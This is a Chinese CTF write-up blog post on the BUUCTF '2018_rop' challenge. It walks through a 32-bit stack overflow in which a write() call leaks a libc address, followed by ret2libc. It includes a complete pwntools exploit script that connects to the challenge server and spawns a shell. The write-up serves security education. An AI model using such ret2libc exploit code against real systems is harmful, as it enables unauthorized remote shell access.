铁人三项(第五赛区)_2018_rop

文章讲述了如何在32位程序中,通过checksec分析、IDA查看、利用write函数泄露并计算libc_base,进而构造rop实现ret2libc的过程,涉及栈溢出、延迟绑定和32位程序的特定技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

buu第一页的题目,这里简单写一下解析过程:

(主要还是针对新手在写,尽量写的详细一点吧)

1、checksec:

2、简单运行与IDA查看结果:

 

 

看到开了有一个可以写入的函数,然后会输出一些东西,同时在f12之后也没有看到和system以及bin/sh有关的东西。再加上nx保护开启,大概率不是shellcode类型,所以想到libc的方法

(所以怎么想到libc的方法呢?首先是保护机制,其次可以从有无system、binsh这些特殊函数的存在)

3、首先通过write函数泄露libc_base,然后构造rop来ret2libc:

注意,这里是32位的程序,和64位先读入寄存器的方式有一点区别。

(32位直接入栈的)

这里先把exp放出来,后面将对于exp的具体内容做出解释:

from pwn import*
from ctypes import *
from LibcSearcher import *

context(os='linux', arch='i386', log_level='debug')
#io = process('./rop')
io = remote('node4.buuoj.cn',26560)
elf = ELF('./rop')

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

p1=b'a'*(0x88+0x04)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
io.sendline(p1)
write_addr=u32(io.recv(4))

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')    
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

p2=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)

io.sendline(p2)

io.interactive()

p1过程为了获得write_addr的过程,这里涉及到了延迟绑定机制,

大概就是,0x88+0x04进行栈溢出覆盖返回地址,然后重新载入main函数,接下来利用write函数的三个参数传入信息(这里建议查看一下write函数的三个参数意义,最后一位因为是32位,所以大小是4)

p2过程就是为了获得shell了,ret2libc的知识点。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值